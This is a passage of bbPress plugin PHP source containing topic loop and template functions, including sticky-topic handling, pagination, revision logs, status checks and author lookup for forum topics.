		'show_stickies'  => $default_show_stickies,    // Ignore sticky topics?
		'max_num_pages'  => false,                     // Maximum number of pages to show

		// Conditionally prime the cache for related posts
		'update_post_family_cache' => true
	);

	// Only add 's' arg if searching for topics
	// See https://bbpress.trac.wordpress.org/ticket/2607
	if ( ! empty( $default_topic_search ) ) {
		$default['s'] = $default_topic_search;
	}

	// What are the default allowed statuses (based on user caps)
	if ( bbp_get_view_all( 'edit_others_topics' ) ) {

		// Default view=all statuses
		$post_statuses = array_keys( bbp_get_topic_statuses() );

		// Add support for private status
		if ( current_user_can( 'read_private_topics' ) ) {
			$post_statuses[] = bbp_get_private_status_id();
		}

		// Join post statuses together
		$default['post_status'] = $post_statuses;

	// Lean on the 'perm' query var value of 'readable' to provide statuses
	} else {
		$default['perm'] = 'readable';
	}

	// Maybe query for topic tags
	if ( bbp_is_topic_tag() ) {
		$default['term']     = bbp_get_topic_tag_slug();
		$default['taxonomy'] = bbp_get_topic_tag_tax_id();
	}

	/** Setup *****************************************************************/

	// Parse arguments against default values
	$r = bbp_parse_args( $args, $default, 'has_topics' );

	// Get bbPress
	$bbp = bbpress();

	// Call the query
	$bbp->topic_query = new WP_Query( $r );

	// Maybe prime last active posts
	if ( ! empty( $r['update_post_family_cache'] ) ) {
		bbp_update_post_family_caches( $bbp->topic_query->posts );
	}

	// Set post_parent back to 0 if originally set to 'any'
	if ( 'any' === $r['post_parent'] ) {
		$r['post_parent'] = 0;
	}

	// Limited the number of pages shown
	if ( ! empty( $r['max_num_pages'] ) ) {
		$bbp->topic_query->max_num_pages = (int) $r['max_num_pages'];
	}

	/** Stickies **************************************************************/

	// Put sticky posts at the top of the posts array
	if ( ! empty( $r['show_stickies'] ) && ( $r['paged'] <= 1 ) ) {
		bbp_add_sticky_topics( $bbp->topic_query, $r );
	}

	// If no limit to posts per page, set it to the current post_count
	if ( -1 === $r['posts_per_page'] ) {
		$r['posts_per_page'] = $bbp->topic_query->post_count;
	}

	// Add pagination values to query object
	$bbp->topic_query->posts_per_page = (int) $r['posts_per_page'];
	$bbp->topic_query->paged          = (int) $r['paged'];

	// Only add pagination if query returned results
	if ( ( ! empty( $bbp->topic_query->post_count ) || ! empty( $bbp->topic_query->found_posts ) ) && ! empty( $bbp->topic_query->posts_per_page ) ) {

		// Limit the number of topics shown based on maximum allowed pages
		if ( ( ! empty( $r['max_num_pages'] ) ) && ( $bbp->topic_query->found_posts > ( $bbp->topic_query->max_num_pages * $bbp->topic_query->post_count ) ) ) {
			$bbp->topic_query->found_posts = $bbp->topic_query->max_num_pages * $bbp->topic_query->post_count;
		}

		// Total topics for pagination boundaries
		$total_pages = ( $bbp->topic_query->posts_per_page === $bbp->topic_query->found_posts )
			? 1
			: ceil( $bbp->topic_query->found_posts / $bbp->topic_query->posts_per_page );

		// Maybe add view-all args
		$add_args = bbp_get_view_all()
			? array( 'view' => 'all' )
			: false;

		// Pagination settings with filter
		$bbp_topic_pagination = apply_filters( 'bbp_topic_pagination', array(
			'base'      => bbp_get_topics_pagination_base( $r['post_parent'] ),
			'format'    => '',
			'total'     => $total_pages,
			'current'   => $bbp->topic_query->paged,
			'prev_text' => is_rtl() ? '&rarr;' : '&larr;',
			'next_text' => is_rtl() ? '&larr;' : '&rarr;',
			'mid_size'  => 1,
			'add_args'  => $add_args,
		) );

		// Add pagination to query object
		$bbp->topic_query->pagination_links = bbp_paginate_links( $bbp_topic_pagination );
	}

	// Filter & return
	return apply_filters( 'bbp_has_topics', $bbp->topic_query->have_posts(), $bbp->topic_query );
}

/**
 * Whether there are more topics available in the loop
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @return object Topic information
 */
function bbp_topics() {

	// Put into variable to check against next
	$have_posts = bbpress()->topic_query->have_posts();

	// Reset the post data when finished
	if ( empty( $have_posts ) ) {
		wp_reset_postdata();
	}

	return $have_posts;
}

/**
 * Loads up the current topic in the loop
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @return object Topic information
 */
function bbp_the_topic() {
	return bbpress()->topic_query->the_post();
}

/**
 * Add sticky topics to a topics query object
 *
 * @since 2.6.0 bbPress (r6402)
 *
 * @param WP_Query $query
 * @param array    $args
 */
function bbp_add_sticky_topics( &$query, $args = array() ) {

	// Bail if intercepted
	$intercept = bbp_maybe_intercept( __FUNCTION__, func_get_args() );
	if ( bbp_is_intercepted( $intercept ) ) {
		return $intercept;
	}

	// Parse arguments against what gets used locally
	$r = bbp_parse_args( $args, array(
		'post_parent'         => 0,
		'post_parent__not_in' => array(),
		'post__not_in'        => array(),
		'post_status'         => '',
		'perm'                => ''
	), 'add_sticky_topics' );

	// Get super stickies and stickies in this forum
	$super_stickies = bbp_get_super_stickies();
	$forum_stickies = ! empty( $r['post_parent'] )
		? bbp_get_stickies( $r['post_parent'] )
		: array();

	// Merge stickies (supers first) and remove duplicates
	$stickies = array_filter( array_unique( array_merge( $super_stickies, $forum_stickies ) ) );

	// Bail if no stickies
	if ( empty( $stickies ) ) {
		return;
	}

	// If any posts have been excluded specifically, Ignore those that are sticky.
	if ( ! empty( $r['post__not_in'] ) ) {
		$stickies = array_diff( $stickies, $r['post__not_in'] );
	}

	// Default sticky posts array
	$sticky_topics = array();

	// Loop through posts
	foreach ( $query->posts as $key => $post ) {

		// Looking for stickies in this query loop, and stash & unset them
		if ( in_array( $post->ID, $stickies, true ) ) {
			$sticky_topics[] = $post;
			unset( $query->posts[ $key ] );
		}
	}

	// Remove queried stickies from stickies array
	if ( ! empty( $sticky_topics ) ) {
		$stickies = array_diff( $stickies, wp_list_pluck( $sticky_topics, 'ID' ) );
	}

	// Fetch all stickies that were not in the query
	if ( ! empty( $stickies ) ) {

		// Query to use in get_posts to get sticky posts
		$sticky_query = array(
			'post_type'   => bbp_get_topic_post_type(),
			'post_parent' => 'any',
			'meta_key'    => '_bbp_last_active_time',
			'meta_type'   => 'DATETIME',
			'orderby'     => 'meta_value',
			'order'       => 'DESC',
			'include'     => $stickies
		);

		// Conditionally exclude private/hidden forum ID's
		$exclude_forum_ids = bbp_exclude_forum_ids( 'array' );

		// Maybe remove the current forum from excluded forum IDs
		if ( ! empty( $r['post_parent' ] ) ) {
			unset( $exclude_forum_ids[ $r['post_parent' ] ] );
		}

		// Maybe exclude specific forums
		if ( ! empty( $exclude_forum_ids ) ) {
			$sticky_query['post_parent__not_in'] = $exclude_forum_ids;
		}

		// Allowed statuses, or lean on the 'perm' argument (probably 'readable')
		$sticky_query['post_status'] = bbp_get_view_all( 'edit_others_topics' )
			? $r['post_status']
			: $r['perm'];

		// Get unqueried stickies
		$_posts = get_posts( $sticky_query );
		if ( ! empty( $_posts ) ) {

			// Merge the stickies topics with the query topics .
			$sticky_topics = array_merge( $sticky_topics, $_posts );

			// Get a count of the visible stickies
			$sticky_count = count( $_posts );

			// Adjust loop and counts for new sticky positions
			$query->found_posts = (int) $query->found_posts + (int) $sticky_count;
			$query->post_count  = (int) $query->post_count  + (int) $sticky_count;
		}
	}

	// Bail if no sticky topics empty or not an array
	if ( empty( $sticky_topics ) || ! is_array( $sticky_topics ) ) {
		return;
	}

	// Default ordered stickies array
	$ordered_stickies = array(
		'supers' => array(),
		'forums' => array()
	);

	// Separate supers from forums
	foreach ( $sticky_topics as $post ) {
		if ( in_array( $post->ID, $super_stickies, true ) ) {
			$ordered_stickies['supers'][] = $post;
		} elseif ( in_array( $post->ID, $forum_stickies, true ) ) {
			$ordered_stickies['forums'][] = $post;
		}
	}

	// Merge supers and forums, supers first
	$sticky_topics = array_merge( $ordered_stickies['supers'], $ordered_stickies['forums'] );

	// Update queried posts
	$query->posts = array_merge( $sticky_topics, array_values( $query->posts ) );
}

/**
 * Output the topic id
 *
 * @since 2.0.0 bbPress (r2485)
 */
function bbp_topic_id( $topic_id = 0) {
	echo bbp_get_topic_id( $topic_id );
}
	/**
	 * Return the topic id
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param $topic_id Optional. Used to check emptiness
	 * @return int The topic id
	 */
	function bbp_get_topic_id( $topic_id = 0 ) {
		$bbp      = bbpress();
		$wp_query = bbp_get_wp_query();

		// Easy empty checking
		if ( ! empty( $topic_id ) && is_numeric( $topic_id ) ) {
			$bbp_topic_id = $topic_id;

		// Currently inside a topic loop
		} elseif ( ! empty( $bbp->topic_query->in_the_loop ) && isset( $bbp->topic_query->post->ID ) ) {
			$bbp_topic_id = $bbp->topic_query->post->ID;

		// Currently inside a search loop
		} elseif ( ! empty( $bbp->search_query->in_the_loop ) && isset( $bbp->search_query->post->ID ) && bbp_is_topic( $bbp->search_query->post->ID ) ) {
			$bbp_topic_id = $bbp->search_query->post->ID;

		// Currently viewing/editing a topic, likely alone
		} elseif ( ( bbp_is_single_topic() || bbp_is_topic_edit() ) && ! empty( $bbp->current_topic_id ) ) {
			$bbp_topic_id = $bbp->current_topic_id;

		// Currently viewing/editing a topic, likely in a loop
		} elseif ( ( bbp_is_single_topic() || bbp_is_topic_edit() ) && isset( $wp_query->post->ID ) ) {
			$bbp_topic_id = $wp_query->post->ID;

		// Currently viewing/editing a reply
		} elseif ( bbp_is_single_reply() || bbp_is_reply_edit() ) {
			$bbp_topic_id = bbp_get_reply_topic_id();

		// Fallback
		} else {
			$bbp_topic_id = 0;
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_topic_id', (int) $bbp_topic_id, $topic_id );
	}

/**
 * Gets a topic
 *
 * @since 2.0.0 bbPress (r2787)
 *
 * @return mixed Null if error or topic (in specified form) if success
 */
function bbp_get_topic( $topic, $output = OBJECT, $filter = 'raw' ) {

	// Maybe get ID from empty or int
	if ( empty( $topic ) || is_numeric( $topic ) ) {
		$topic = bbp_get_topic_id( $topic );
	}

	// Bail if no post object
	$topic = get_post( $topic, OBJECT, $filter );
	if ( empty( $topic ) ) {
		return $topic;
	}

	// Bail if not correct post type
	if ( $topic->post_type !== bbp_get_topic_post_type() ) {
		return null;
	}

	// Default return value is OBJECT
	$retval = $topic;

	// Array A
	if ( $output === ARRAY_A ) {
		$retval = get_object_vars( $topic );

	// Array N
	} elseif ( $output === ARRAY_N ) {
		$retval = array_values( get_object_vars( $topic ) );
	}

	// Filter & return
	return apply_filters( 'bbp_get_topic', $retval, $topic, $output, $filter );
}

/**
 * Output the link to the topic in the topic loop
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @param int $topic_id Optional. Topic id
 * @param string $redirect_to Optional. Pass a redirect value for use with
 *                              shortcodes and other fun things.
 */
function bbp_topic_permalink( $topic_id = 0, $redirect_to = '' ) {
	echo esc_url( bbp_get_topic_permalink( $topic_id, $redirect_to ) );
}
	/**
	 * Return the link to the topic
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param string $redirect_to Optional. Pass a redirect value for use with
	 *                              shortcodes and other fun things.
	 * @return string Permanent link to topic
	 */
	function bbp_get_topic_permalink( $topic_id = 0, $redirect_to = '' ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Use the redirect address
		if ( ! empty( $redirect_to ) ) {
			$topic_permalink = esc_url_raw( $redirect_to );

		// Use the topic permalink
		} else {
			$topic_permalink = get_permalink( $topic_id );
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_permalink', $topic_permalink, $topic_id );
	}

/**
 * Output the title of the topic
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_title( $topic_id = 0 ) {
	echo bbp_get_topic_title( $topic_id );
}
	/**
	 * Return the title of the topic
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Title of topic
	 */
	function bbp_get_topic_title( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$title    = get_the_title( $topic_id );

		// Filter & return
		return apply_filters( 'bbp_get_topic_title', $title, $topic_id );
	}

/**
 * Output the topic archive title
 *
 * @since 2.0.0 bbPress (r3249)
 *
 * @param string $title Default text to use as title
 */
function bbp_topic_archive_title( $title = '' ) {
	echo bbp_get_topic_archive_title( $title );
}
	/**
	 * Return the topic archive title
	 *
	 * @since 2.0.0 bbPress (r3249)
	 *
	 * @param string $title Default text to use as title
	 *
	 * @return string The topic archive title
	 */
	function bbp_get_topic_archive_title( $title = '' ) {

		// If no title was passed
		if ( empty( $title ) ) {

			// Set root text to page title
			$page = bbp_get_page_by_path( bbp_get_topic_archive_slug() );
			if ( ! empty( $page ) ) {
				$title = get_the_title( $page->ID );

			// Default to topic post type name label
			} else {
				$tto    = get_post_type_object( bbp_get_topic_post_type() );
				$title  = $tto->labels->name;
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_archive_title', $title );
	}

/**
 * Output the content of the topic
 *
 * @since 2.0.0 bbPress (r2780)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_content( $topic_id = 0 ) {
	echo bbp_get_topic_content( $topic_id );
}
	/**
	 * Return the content of the topic
	 *
	 * @since 2.0.0 bbPress (r2780)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Content of the topic
	 */
	function bbp_get_topic_content( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Check if password is required
		if ( post_password_required( $topic_id ) ) {
			return get_the_password_form();
		}

		$content = get_post_field( 'post_content', $topic_id );

		// Filter & return
		return apply_filters( 'bbp_get_topic_content', $content, $topic_id );
	}

/**
 * Output the excerpt of the topic
 *
 * @since 2.0.0 bbPress (r2780)
 *
 * @param int $topic_id Optional. Topic id
 * @param int $length Optional. Length of the excerpt. Defaults to 100 letters
 */
function bbp_topic_excerpt( $topic_id = 0, $length = 100 ) {
	echo bbp_get_topic_excerpt( $topic_id, $length );
}
	/**
	 * Return the excerpt of the topic
	 *
	 * @since 2.0.0 bbPress (r2780)
	 *
	 * @param int $topic_id Optional. topic id
	 * @param int $length Optional. Length of the excerpt. Defaults to 100
	 *                     letters
	 * @return string topic Excerpt
	 */
	function bbp_get_topic_excerpt( $topic_id = 0, $length = 100 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$length   = (int) $length;
		$excerpt  = get_post_field( 'post_excerpt', $topic_id );

		if ( empty( $excerpt ) ) {
			$excerpt = bbp_get_topic_content( $topic_id );
		}

		$excerpt = trim( strip_tags( $excerpt ) );

		// Multibyte support
		if ( function_exists( 'mb_strlen' ) ) {
			$excerpt_length = mb_strlen( $excerpt );
		} else {
			$excerpt_length = strlen( $excerpt );
		}

		if ( ! empty( $length ) && ( $excerpt_length > $length ) ) {
			$excerpt  = mb_substr( $excerpt, 0, $length - 1 );
			$excerpt .= '&hellip;';
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_excerpt', $excerpt, $topic_id, $length );
	}

/**
 * Output the post date and time of a topic
 *
 * @since 2.2.0 bbPress (r4155)
 *
 * @param int $topic_id Optional. Topic id.
 * @param bool $humanize Optional. Humanize output using time_since
 * @param bool $gmt Optional. Use GMT
 */
function bbp_topic_post_date( $topic_id = 0, $humanize = false, $gmt = false ) {
	echo bbp_get_topic_post_date( $topic_id, $humanize, $gmt );
}
	/**
	 * Return the post date and time of a topic
	 *
	 * @since 2.2.0 bbPress (r4155)
	 *
	 * @param int $topic_id Optional. Topic id.
	 * @param bool $humanize Optional. Humanize output using time_since
	 * @param bool $gmt Optional. Use GMT
	 * @return string
	 */
	function bbp_get_topic_post_date( $topic_id = 0, $humanize = false, $gmt = false ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// 4 days, 4 hours ago
		if ( ! empty( $humanize ) ) {
			$gmt_s  = ! empty( $gmt ) ? 'G' : 'U';
			$date   = get_post_time( $gmt_s, $gmt, $topic_id );
			$time   = false; // For filter below
			$result = bbp_get_time_since( $date );

		// August 4, 2012 at 2:37 pm
		} else {
			$date   = get_post_time( get_option( 'date_format' ), $gmt, $topic_id, true );
			$time   = get_post_time( get_option( 'time_format' ), $gmt, $topic_id, true );
			$result = sprintf( _x( '%1$s at %2$s', 'date at time', 'bbpress' ), $date, $time );
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_post_date', $result, $topic_id, $humanize, $gmt, $date, $time );
	}

/**
 * Output pagination links of a topic within the topic loop
 *
 * @since 2.0.0 bbPress (r2966)
 *
 * @param array $args See {@link bbp_get_topic_pagination()}
 */
function bbp_topic_pagination( $args = array() ) {
	echo bbp_get_topic_pagination( $args );
}
	/**
	 * Returns pagination links of a topic within the topic loop
	 *
	 * @since 2.0.0 bbPress (r2966)
	 *
	 * @param array $args This function supports these arguments:
	 *  - topic_id: Topic id
	 *  - before: Before the links
	 *  - after: After the links
	 * @return string Pagination links
	 */
	function bbp_get_topic_pagination( $args = array() ) {

		// Bail if threading replies
		if ( bbp_thread_replies() ) {
			return;
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'topic_id' => bbp_get_topic_id(),
			'before'   => '<span class="bbp-topic-pagination">',
			'after'    => '</span>',
		), 'get_topic_pagination' );

		// Slug must be checked for topics that have never been approved/published
		$has_slug = bbp_get_topic( $r['topic_id'] )->post_name;

		// If pretty permalinks are enabled, make our pagination pretty
		$base = ! empty( $has_slug ) && bbp_use_pretty_urls() && ! bbp_is_topic_pending( $r['topic_id'] )
			? trailingslashit( get_permalink( $r['topic_id'] ) ) . user_trailingslashit( bbp_get_paged_slug() . '/%#%/' )
			: add_query_arg( 'paged', '%#%', get_permalink( $r['topic_id'] ) );

		// Get total and add 1 if topic is included in the reply loop
		$total = bbp_get_topic_reply_count( $r['topic_id'], true );

		// Bump if topic is in loop
		if ( ! bbp_show_lead_topic() ) {
			$total++;
		}

		// Total for pagination boundaries
		$total_pages = ceil( $total / bbp_get_replies_per_page() );

		// Maybe add view-all args
		$add_args = bbp_get_view_all( 'edit_others_replies' )
			? array( 'view' => 'all' )
			: false;

		// Pagination settings with filter
		$bbp_topic_pagination = apply_filters( 'bbp_get_topic_pagination', array(
			'base'      => $base,
			'total'     => $total_pages,
			'current'   => 0,
			'prev_next' => false,
			'mid_size'  => 2,
			'end_size'  => 2,
			'add_args'  => $add_args
		) );

		// Add pagination to query object
		$pagination_links = bbp_paginate_links( $bbp_topic_pagination );

		// Maybe add before and after to pagination links
		if ( ! empty( $pagination_links ) ) {
			$pagination_links = $r['before'] . $pagination_links . $r['after'];
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_pagination', $pagination_links, $args );
	}

/**
 * Append revisions to the topic content
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param string $content Optional. Content to which we need to append the revisions to
 * @param int $topic_id Optional. Topic id
 * @return string Content with the revisions appended
 */
function bbp_topic_content_append_revisions( $content = '', $topic_id = 0 ) {

	// Bail if in admin or feed
	if ( is_admin() || is_feed() ) {
		return;
	}

	// Validate the ID
	$topic_id = bbp_get_topic_id( $topic_id );

	// Filter & return
	return apply_filters( 'bbp_topic_append_revisions', $content . bbp_get_topic_revision_log( $topic_id ), $content, $topic_id );
}

/**
 * Output the revision log of the topic
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_revision_log( $topic_id = 0 ) {
	echo bbp_get_topic_revision_log( $topic_id );
}
	/**
	 * Return the formatted revision log of the topic
	 *
	 * @since 2.0.0 bbPress (r2782)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Revision log of the topic
	 */
	function bbp_get_topic_revision_log( $topic_id = 0 ) {

		// Create necessary variables
		$topic_id     = bbp_get_topic_id( $topic_id );
		$revision_log = bbp_get_topic_raw_revision_log( $topic_id );

		if ( empty( $topic_id ) || empty( $revision_log ) || ! is_array( $revision_log ) ) {
			return false;
		}

		$revisions = bbp_get_topic_revisions( $topic_id );
		if ( empty( $revisions ) ) {
			return false;
		}

		$retval = "\n\n" . '<ul id="bbp-topic-revision-log-' . esc_attr( $topic_id ) . '" class="bbp-topic-revision-log">' . "\n\n";

		// Loop through revisions
		foreach ( (array) $revisions as $revision ) {

			if ( empty( $revision_log[ $revision->ID ] ) ) {
				$author_id = $revision->post_author;
				$reason    = '';
			} else {
				$author_id = $revision_log[ $revision->ID ]['author'];
				$reason    = $revision_log[ $revision->ID ]['reason'];
			}

			$author = bbp_get_author_link( array( 'size' => 14, 'link_text' => bbp_get_topic_author_display_name( $revision->ID ), 'post_id' => $revision->ID ) );
			$since  = bbp_get_time_since( bbp_convert_date( $revision->post_modified ) );

			$retval .= "\t" . '<li id="bbp-topic-revision-log-' . esc_attr( $topic_id ) . '-item-' . esc_attr( $revision->ID ) . '" class="bbp-topic-revision-log-item">' . "\n";
			if ( ! empty( $reason ) ) {
				$retval .= "\t\t" . sprintf( esc_html__( 'This topic was modified %1$s by %2$s. Reason: %3$s', 'bbpress' ), esc_html( $since ), $author, esc_html( $reason ) ) . "\n";
			} else {
				$retval .= "\t\t" . sprintf( esc_html__( 'This topic was modified %1$s by %2$s.',              'bbpress' ), esc_html( $since ), $author ) . "\n";
			}
			$retval .= "\t" . '</li>' . "\n";
		}

		$retval .= "\n" . '</ul>' . "\n\n";

		// Filter & return
		return apply_filters( 'bbp_get_topic_revision_log', $retval, $topic_id );
	}
		/**
		 * Return the raw revision log of the topic
		 *
		 * @since 2.0.0 bbPress (r2782)
		 *
		 * @param int $topic_id Optional. Topic id
		 * @return string Raw revision log of the topic
		 */
		function bbp_get_topic_raw_revision_log( $topic_id = 0 ) {
			$topic_id = bbp_get_topic_id( $topic_id );

			$revision_log = get_post_meta( $topic_id, '_bbp_revision_log', true );
			$revision_log = ! empty( $revision_log )
				? $revision_log
				: array();

			// Filter & return
			return apply_filters( 'bbp_get_topic_raw_revision_log', $revision_log, $topic_id );
		}

/**
 * Return the revisions of the topic
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param int $topic_id Optional. Topic id
 * @return string Topic revisions
 */
function bbp_get_topic_revisions( $topic_id = 0 ) {
	$topic_id  = bbp_get_topic_id( $topic_id );
	$revisions = wp_get_post_revisions( $topic_id, array( 'order' => 'ASC' ) );

	// Filter & return
	return apply_filters( 'bbp_get_topic_revisions', $revisions, $topic_id );
}

/**
 * Return the revision count of the topic
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param int $topic_id Optional. Topic id
 * @return string Topic revision count
 */
function bbp_get_topic_revision_count( $topic_id = 0, $integer = false ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$count    = count( bbp_get_topic_revisions( $topic_id ) );
	$filter   = ( true === $integer )
		? 'bbp_get_topic_revision_count_int'
		: 'bbp_get_topic_revision_count';

	return apply_filters( $filter, $count, $topic_id );
}

/**
 * Is the topic a sticky or super sticky?
 *
 * @since 2.0.0 bbPress (r2754)
 *
 * @param int $topic_id Optional. Topic id
 * @param int $check_super Optional. If set to true and if the topic is not a
 *                           normal sticky, it is checked if it is a super
 *                           sticky or not. Defaults to true.
 * @return bool True if sticky or super sticky, false if not.
 */
function bbp_is_topic_sticky( $topic_id = 0, $check_super = true ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$forum_id = bbp_get_topic_forum_id( $topic_id );
	$stickies = bbp_get_stickies( $forum_id );
	$retval   = in_array( $topic_id, $stickies, true );

	// Maybe check super stickies
	if ( ( false === $retval ) && ( true === $check_super ) ) {
		$retval = bbp_is_topic_super_sticky( $topic_id );
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_sticky', $retval, $topic_id, $check_super );
}

/**
 * Is the topic a super sticky?
 *
 * @since 2.0.0 bbPress (r2754)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if super sticky, false if not.
 */
function bbp_is_topic_super_sticky( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$stickies = bbp_get_super_stickies( $topic_id );
	$retval   = in_array( $topic_id, $stickies, true );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_super_sticky', $retval, $topic_id );
}

/**
 * Output the status of the topic
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_status( $topic_id = 0 ) {
	echo bbp_get_topic_status( $topic_id );
}
	/**
	 * Return the status of the topic
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Status of topic
	 */
	function bbp_get_topic_status( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Filter & return
		return apply_filters( 'bbp_get_topic_status', get_post_status( $topic_id ), $topic_id );
	}

/**
 * Is the topic closed to new replies?
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if closed, false if not.
 */
function bbp_is_topic_closed( $topic_id = 0 ) {
	$topic_id     = bbp_get_topic_id( $topic_id );
	$status       = bbp_get_closed_status_id();
	$topic_status = ( bbp_get_topic_status( $topic_id ) === $status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_closed', $topic_status, $topic_id );
}

/**
 * Is the topic open to new replies?
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if open, false if closed.
 */
function bbp_is_topic_open( $topic_id = 0 ) {
	return ! bbp_is_topic_closed( $topic_id );
}

/**
 * Is the topic publicly viewable?
 *
 * See bbp_get_public_topic_statuses() for public statuses.
 *
 * @since 2.6.0 bbPress (r6383)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if public, false if not.
 */
function bbp_is_topic_public( $topic_id = 0 ) {
	$topic_id  = bbp_get_topic_id( $topic_id );
	$status    = bbp_get_topic_status( $topic_id );
	$public    = bbp_get_public_topic_statuses();
	$is_public = in_array( $status, $public, true );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_public', $is_public, $topic_id );
}

/**
 * Does the topic have a published status?
 *
 * @since 2.0.0 bbPress (r3496)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if published, false if not.
 */
function bbp_is_topic_published( $topic_id = 0 ) {
	$topic_id     = bbp_get_topic_id( $topic_id );
	$status       = bbp_get_public_status_id();
	$topic_status = ( bbp_get_topic_status( $topic_id ) === $status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_published', $topic_status, $topic_id );
}

/**
 * Is the topic marked as spam?
 *
 * @since 2.0.0 bbPress (r2727)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if spam, false if not.
 */
function bbp_is_topic_spam( $topic_id = 0 ) {
	$topic_id     = bbp_get_topic_id( $topic_id );
	$status       = bbp_get_spam_status_id();
	$topic_status = ( bbp_get_topic_status( $topic_id ) === $status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_spam', $topic_status, $topic_id );
}

/**
 * Is the topic trashed?
 *
 * @since 2.0.0 bbPress (r2888)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if trashed, false if not.
 */
function bbp_is_topic_trash( $topic_id = 0 ) {
	$topic_id     = bbp_get_topic_id( $topic_id );
	$status       = bbp_get_trash_status_id();
	$topic_status = ( bbp_get_topic_status( $topic_id ) === $status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_trash', $topic_status, $topic_id );
}

/**
 * Is the topic pending?
 *
 * @since 2.6.0 bbPress (r5504)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if pending, false if not.
 */
function bbp_is_topic_pending( $topic_id = 0 ) {
	$topic_id     = bbp_get_topic_id( $topic_id );
	$status       = bbp_get_pending_status_id();
	$topic_status = ( bbp_get_topic_status( $topic_id ) === $status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_pending', $topic_status, $topic_id );
}

/**
 * Is the topic private?
 *
 * @since 2.6.0 bbPress (r5504)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if private, false if not.
 */
function bbp_is_topic_private( $topic_id = 0 ) {
	$topic_id     = bbp_get_topic_id( $topic_id );
	$status       = bbp_get_private_status_id();
	$topic_status = ( bbp_get_topic_status( $topic_id ) === $status );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_private', $topic_status, $topic_id );
}

/**
 * Is the posted by an anonymous user?
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @param int $topic_id Optional. Topic id
 * @return bool True if the post is by an anonymous user, false if not.
 */
function bbp_is_topic_anonymous( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$retval   = false;

	if ( ! bbp_get_topic_author_id( $topic_id ) ) {
		$retval = true;

	} elseif ( get_post_meta( $topic_id, '_bbp_anonymous_name',  true ) ) {
		$retval = true;

	} elseif ( get_post_meta( $topic_id, '_bbp_anonymous_email', true ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_topic_anonymous', $retval, $topic_id );
}

/**
 * Deprecated. Use bbp_topic_author_display_name() instead.
 *
 * Output the author of the topic.
 *
 * @since 2.0.0 bbPress (r2590)
 *
 * @deprecated 2.5.0 bbPress (r5119)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_author( $topic_id = 0 ) {
	echo bbp_get_topic_author( $topic_id );
}
	/**
	 * Deprecated. Use bbp_get_topic_author_display_name() instead.
	 *
	 * Return the author of the topic
	 *
	 * @since 2.0.0 bbPress (r2590)
	 *
	 * @deprecated 2.5.0 bbPress (r5119)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Author of topic
	 */
	function bbp_get_topic_author( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		if ( ! bbp_is_topic_anonymous( $topic_id ) ) {
			$author = get_the_author_meta( 'display_name', bbp_get_topic_author_id( $topic_id ) );
		} else {
			$author = get_post_meta( $topic_id, '_bbp_anonymous_name', true );
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author', $author, $topic_id );
	}

/**
 * Output the author ID of the topic
 *
